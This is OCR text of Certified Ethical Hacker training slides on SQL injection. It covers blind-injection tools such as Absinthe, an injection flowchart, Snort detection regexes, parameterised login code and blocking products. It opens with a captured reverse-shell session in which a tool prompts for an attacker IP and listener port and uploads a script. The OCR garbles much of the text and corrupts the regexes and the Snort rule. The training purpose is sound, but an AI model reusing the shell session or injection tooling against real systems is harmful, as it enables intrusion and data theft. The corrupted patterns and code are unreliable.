connect to [192.168.0.199] from (UNKNOWN) [192.168.0.105] 1048: NO_DATA

Explore Tabl Microsoft Windows 2000 [Uersion 5.00.2195]
Explore Tabl(C) Copyright 1985-2000 Microsoft Corp.

Upload and E
Upload A fil C:\WINNT\system32>hostname

Interactive jhostname
BruteForce afdnsserver

C:\MUINNT\system32>

Where do you want to go today?[1-6]:3

Enter your IP address:192.168.0.199

Enter you listener port:53

Uploading debug script file to 192.168.0.105:80
Waiting for Debug to do its work..5 seconds...
Yy
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C EH Absinthe

Cartifiad Ethical Hocker

Absinthe is a GUI-based tool that automates the@ses of downloading
the schemaand contentsof a databasethatisvulneraleto Blind SQL

Injection

Features:

 Automaed SQL Injedion a
 Supports MS SQL Server, MSDE, Oracle, and Postgre {‘\'[ ,

. Cookies / Additional HTTP Headers ‘ ‘ |

* Query Termination /(L L
e Additional text appended to queries r[j /l /j\)
e Supports Use of Proxies / Proxy Rotation &@9 WO
« Multiple filters for page profiling QT(} g),\;/

e Custom Delimiter: T S
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C EH Absinthe: Screenshot

Cartifiad Ethical Hocker

Fle Tools Help
Host Information | OB Schema | Download Records
Exploit Type:
Salact the typs of injection: ) Blind Injection () Ervor Based
Select The Target Database: W
Connection:
Targel URL: htkp:ff
Connection Method: gt~ (Dpost  [use 55t

[ Comment End of Query [ Append text to end of query

Authenticakion
[Tuse suthentication

Foren Parafeters:

Parameters | Cookies

Mame Value Injectable [ Edit
Diafaulk Vabse:
[l injectable Parametsr Remove

| Add Parameter “ Add Cookie

WETITH

[ verify SOL Server Yersion

Tnitislize Injection
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CEH

Cartifiad Ethical Hocker

Blind SQL Injection
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C EH Blind SQL Injection

Cartifiad Ethical Hocker

Blind SQL injection is a hacking method that allosus
unauthorized attacker to access a database server

It is facilitated by a common coding blunder: pragr
accepts data from a client and executes SQL queanidout
validating client’s input

Attacker is then free to extract, modify, add, @late
content from the database

Hackers typically test for SQL injection vulnerabés by
sending application input that would cause serwe
generate an invalid SQL query
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EC-Council All Rights Reserved. Reproduction is Strictly Priotéd




c EH Blind SQL Injection:

Cortified = Ethical Haocker CO u n te r m e aS u r ‘

To secure an application against SQJertion, developers must never allow
client-supplied data to modify the syntax of SQL statens

The best protection is to isolate thveb application from SQL altogether

All SQL statements required by apiton should be in stored procedures
and kept on database server

Application should execute stored proceds using a safe interface such as
JDBC's CallableStatement or ADO’s Command Object

If arbitrary statements must be used, @separedStatements

Both PreparedStatements and stored procedures compile SQL staten
before user input is added, makingntpossible for user input to modify

actual SQL statement
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c EH Blind SQL Injection: Screenshot

Cartifiad Ethical
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Hacker

12]

Ll

1_IDIX!

Elinl SGL Injection FrontEml

talimel oopplicins

ud
T
sol || wvesiong  dl vend || method | # GET .. POST
match [ T start | lenth {52
dicBimsary oplions
ict || — chowse a dicl e — |i-=h 1
|:|I-'|.F5I|1 |7W*77ii7””7;ﬂ;.'lilgl;llih 7_;- 7";_7'57 o I'.IJ&IDI.I |

HTTP upiluns-

proiey | _ruagent | ..browse.. |

iy

proy_pass |

[

_ tme | dontwalt —|

harlp

exil

| ww_w_‘il-'h,:s
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c EH Blind SQL Injection Schema

Cartifiad Ethical
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L 4
THRY TO FIND A POSITIVE

253

ANSWER WITH AN INJECTION L

YOU NEED BLIND SOL
INJECTION

v

FiND: THE RIGHT DEMS
THEN SELECT IT
251

3=

REQUEST WITH ERRORS
RESHKS TO SEND AN EMAIL OR

15
GENERATING A

LOCK YOU OUTT
252

TECHNIQUE

YOU MUST USE
TIME DELAY
TECHNIOUE

255

SELECT BLIND TECHMOUE INSERT

WALUES TO INJECT IN PARAMETERS AND

CHECH THE PARAMETER THAT HAS THE
INJECTION
2511

NG
THAN ONE VALUE AT
THE TIMET
2542

YO WANT
THE HUMBER
OF RESULTS WITH
THES INJECTION?
2516

YES

w

CHOOSE THE NUMEER OF
RESULTS CLOSEST TO WHAT
YOU EXPECT ANG CLICK ETART] ™
25147

258

TEST FOR TIME DELAY

FOU MUST USE
POSITIVE ANSWER
TECHNIOUE -
258

S THE TiMi
ELAY TECHNIGUE
WORKINGT
25.7

YOU WANT
THE VALLE OF A
WORD?
2514 ves

[LUSE MULTIVALUES
FEATURE
2513

YOUWANT
THE LENGTH OF
THE VALUE?
2515

YES

-] THREADS EXECUTED

INSERT THE TIME DELAY,
COUNT THE NUMBER OF
SECONDS TAREN
259

o

L

CHECK WAITFOR
DELAY OPTION AND
SERT THE NUMBER
YOU GOT I 258
25.10

CHOOSE THE NUMBER OF
2518

¥

CHOOSE OR OPTIMIZE
CHCHOTOMY
2518

. YO EXPECT THE VALLUE TO

CHOOSE THE LENGTH THAT

BE AND CLICK START
2520

READ THE RESULT
2521 N

All Rights Reserved

Copyright © byEC-Council
. Reproduction is Strictly Prioihéd




EC-Council All Rights Reserved . Reproduction is Strictly Priotéd




C EH sOL Injection Countermeasures

Cartifiad Ethical Hocker

Selection of Regular Expressions

Regular expressions for detection of SQL meta cbi@mrsg are:

e 10\9627)|(\)|(\\-)|(\%623)|(#)/ix

In the above example, the regular expression woeladded to the
snort rule as follows:

 alert tcp SEXTERNAL  NETany ->3$HTTP_ SERVERS $HTTP PORTS
(msg:"SQL Injection - Paranoid";
flow:to_server, establlshed uricontent:" pI ;pcre: /(\%27)|(\)|

N\ \NI/A7 AANIT/ZLN I Py PR TR Y Y R SRy - - B Ry |

Since “#”is not an HTML meta character, it will hloe encoded by the
browse
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c EH SQL Injection Countermeasures

| e (CONTAD

The modified regular expressions for detection QL3neta character
are:

o [((\%3D)|(=)[Mn]*((\%627)[(V)|(\\-)I(\%3B)| ()i
The regular expressions for a typical SQL injectadtack are:

o \w*((\%27)|(\"))((\%6F)|0|(\%4F))((\%72)|r|(\%52))/ix
« \w* -zero or more alphanumeric or underscore characters
« (\%27)|\'-the ubiquitous single-quote or its hex equivalent

s V%6 F)|o|(\%4F))((\%72)|r](\%52) -the word“ar” with varions_.comhinations_c
its upper and lower case hex equivalents
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c EH SQL Injection Countermeasures

| e (CONTAD

The raular e)pressions for detectmpan )L injection attack usig
UNIONas a keyword:

o /[((\%27)|(\"))union/ix
e \%27)|(\') -the single quote and its hex equival
e union - the keyword union

« The above expression can be use&fECT, INSERT, UPDATE, DELETE,
andDROFkeywords

The regular expressions for detecti8@L injection attacks on a MS
SQL server:

o [exed\s|\+)+(s|x)p\w+/ix

 exec-the keyword required to run the stored or extendeatedure

* (\s|\+)+-one or more white spaces, or their HTTP encodadwdents

* (s|x)p-the letters “sp” or “xp” to identy stored or extended procedures,
respecively

« \w+ -one or more alphanumeric or undersegharacters to complete the name of

the procedure _
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c EH Preventing SQL Injection

Cortified = Ethical Haocker Att a- C kE

Minimize the privileges of database connecti
Disable verbose error messages

Protect the system account “sa”

Audit source codes

N

Escape single quotes
Input validation

React known bad iput
Input bound checking
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C EH Preventing SQL Injection Attacks

| e (CONTAD

Never trust user iput

» Validate all textbox entries using validatmontrols, regular expressions, code, and
SO on

Never use gnamic SQ

« Use parameterized SQL or stored procedures

Never connect to a database using an admin-leweiuatt
« Use a limited access account to connect to thebdae

Do not store secrets in plain text

 Encrypt or hash passwords and other #&resdata; you should also encry
connection strings

Exceptions should divulge minimal information

Do not reveal too much information imrer messages; use custom errors to dis
minimal information in the event of amnhandled error; set debug to false
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C EH GoodLogin.aspx.cs

Cartifiad Ethical Hocker

private void cmdLogin_Click(object sender, System.EventArgs e) {
string strCnx = ConfigurationSettings.AppSettings[‘cnxNWindBad"];
using (SalCConnection..cnx _.... = new SgqlConnection(strCnx))

{

EC-Council

SqlParameter prm;
cnhx.Open();

string strQry =
"SELECT Count(*) FROM Users WHERE UserName=@username " +
"AND Password= @pmassword" ;.

int intRecs;
SglCommand cmd = new SglCommand(strQry, cnx);
cmd.CommandType= CommandType.Text;
prm = new SqlParameter("@username",SqlDbType.VarChar,50);
prm.Direction=ParameterDirection.Input;
prm.Value = txtUser.Text;
cmd.Parameters.Add(prm);
prm = new SqlParameter("@password",SqlDbType.VarChar,50);
prm.Direction=ParameterDirection.Input;
prm.Value = txtPassword.Text;
cmd.Parameters.Add(prm);
intRecs = (int) cmd.ExecuteScalar();
if (intRecs>0) {
FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false);
}
else {
IbIMsg.Text = "Login attempt failed.";

}
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c E H SQL Injection Blocking Tool: SQLBlock

http://www.sqlblock.com
Certified = Ethical Haodker

SQLBlock is an ODBC/JDBC driver with a
patent pending SQL injection prevention
feature

It works as an ordinary ODBC/JDBC data
source, anu It Mormtiws every syl satenrten
being executed

If the client application tries to execute any
un-allowed SQL statements, SQLBlock will
block the execution and will send an alert to
the administrator

EC-Council

uorepddy juar)
.IBA!.I(]
H201d1OS
SALI(] [RUISLI()

Database Client Application

I Database
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C EH SQLBIlock: Screenshot
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: Fle Bun “ew Took Help

Pad oAl | = ) g Clear | 4% | v Stat 1| & s0L| @) g
|BI|:u:I<ing Process =
Process I Host name Blocked Dur ation ZPU Login name Login time Last batch
=5z HOSTZ HOAETL (510 01:z20 =1 58 2007-5-13 15: 109 Z007-5-13 150
':i'._',51 HZST1 04:10 15 LICHEMGYA, .. 2007-5-13 15:06:21 2007-5-13 1<
% ]
| Host Skatistics = |
Hosthame Wi ait Blocked
2 HOSTZ 11:17 53147
2 HoSTL 11117 5347
History
Connect  Max duration |# || ProcessID Host name Blocked Dk ation Pl
I 8 52 HOSTZ HOSTL (S1) o:11 78
29 = oy ; :
= =) HZST1 0301 15
2007-5-13 15010057 219 0310 =
2007-5-13 151042 2119 0315
2007-5-13 15:10:47 219 0320
2007-5-1315:10:52 219 0325
2007-5-13 15:1:57 219 0330
2007-5-13 15:11:02 219 0336
2007-5-13 15:11:07 2119 0340 il |4 Il L4
| Ponitor

Connected To (lacal]

_ Copyright © byEC-Council
EC-Council All Rights Reserved. Reproduction is Strictly Priotéd




CEH

Acunetix Web Vulnerability
Scannel

Cartifiad Ethical Hocker

AcunetixWeb scanner ca

o st e Wl e sty Soaanes (Eshergise cfitienk

=l=) =
detect and report any SQL = =
p y [ S (=L
Injection vulnerabilities T — P S e < e
1 Wuks e s S & oo Pl kst
L el ng i : - - ’
-1 3 Scan Thiwmd 1 | bt {102,148, 100 217 S0 pacrs ) an i
B St Cramden =5 i Aerteiin) 5 Vidne nfarmation
5 Tt e e S —— [ ¥ Vidnerabiity iformation_________|
o Subrlorsin Soanner _: Tpsermyupeiats. php (2]
[T HrTP Freoe @ iz Tl hiid
& HTTR Sndffur wariart |
WP Pusrer RS EeocunEis threo ksl
Fashrnde sbion Tecter } PHPTSYSIC amior Freatian 12 Lawel 3; #igh
Cormpars Rands 14 e T —
wah Servioss = Lp= I_
- Wb Seraces Somn mar L bl Lt b i
Other features include: e | @ e
. colguration 31 i TRAE Mrkhod Enabded (13 dalshase mdie detace pour
¥ “aHrem 97- i Poeigl wrrattss drechonan (3] Wi sib
= ey Profm 4 i Direcioay ikng Found {18} FTE—
LM, 5 i Sprkcstnn sror remene (18] :
v 2:.‘} e i i Prsimadbye: npit veth stiotonoisns ensbd (1 Tairiadbri Feial 237y
3 ;-;::-; et 1 - GHOE e ety Iefing vhich shoee e & 1agh +
B Sipport Cerize - i G0 | Fles upoasded theosgh FTF 4] & ¥ <
& Purthaze T3 Erasdedie Bse s @ L =L [
& s Myl (il i Frarmmacs bk siriph sk, s B wiemsing 270 [
1 e Pl (013 it e Srmmade oot .
. . - Hid Prmmadrk prolorye
e Cross site scripting / XSS o e s —
vulnerabilities T ghil | ™~ St
ﬁ-\.lhl:._'m |
1 hit fresdgs bass Tt |
» Google hacking vulnerabilities el i
"'ﬂ'l-lhlé‘ll.ﬂ:’ﬂ'l{
S Scn oAl bodandine
Corm e ing ta detebess '_l
W) | ¥| --'wl-w-\:i-'.r\-”E---:-l.w
Reade

EC-Council

Sourcehttp://www.acunetix.com

Copyright © byEC-Council

All Rights Reserved. Reproduction is Strictly Prioihéd




C EH what Happened Next
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Susan searched the Internet for security vulnentgslof a portal.
By chance, she got an online forum listing SQL \ariabilities of e-
shopping4u.com. A SQL programmer herself, she echfin SQL
statement and inserted that in place of user nanteair
registration form. And to her surprise she was dbldypass all
Input validations.

She can now access databases of e-shopping4u.camlaywith
thousands of their customers’records consistingreflit card and
other person&informaiton.Lossed0 e-shopping4u.comcould be
devastating.
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CEH summary

Cartifiad Ethical Hocker

SQL injection is an attack methodology that targéts data residing in
a database

It attempts to modify the parameters of a web-basggglication in
order to alter the SQL statements that are pansear,der to retrieve
data from the database

Database footprinting is the process of mappingtdides on the
databasganais'a vivuidridaniiute nanas vr&fratia

Exploits occur due to coding erroas well as inadequate validation
checks

Prevention involves enforcing better coding praesiand database
administration procedur
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Copyright 2003 by Randy Glasbergen.
www.glasbergen.com

“Memo: Foul language or verbal abuse of any kind is
absolutely forbidden and will result in immediate dismissal
...unless it’s directed at a computer.”

Copyright © byEC-Council
All Rights Reserved. Reproduction is Strictly Prioihéd




Cartifiad Ethical Hocker

.....

Capvelaht 2004 by Randyv Glashartiai
LY TILEEL SUG DY malildy Lalad S0eErygern.

wwnw.glasbergen.com

GLASBERGEA

“This software will help you manage stress
as long as you don’t try to install it.”
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www.glasbergen.com

‘==

\

[ l l GLASBERGEN
"We rarely back up our data. We'd rather not

keep a permanent record of everything
that goes wrong around here!"
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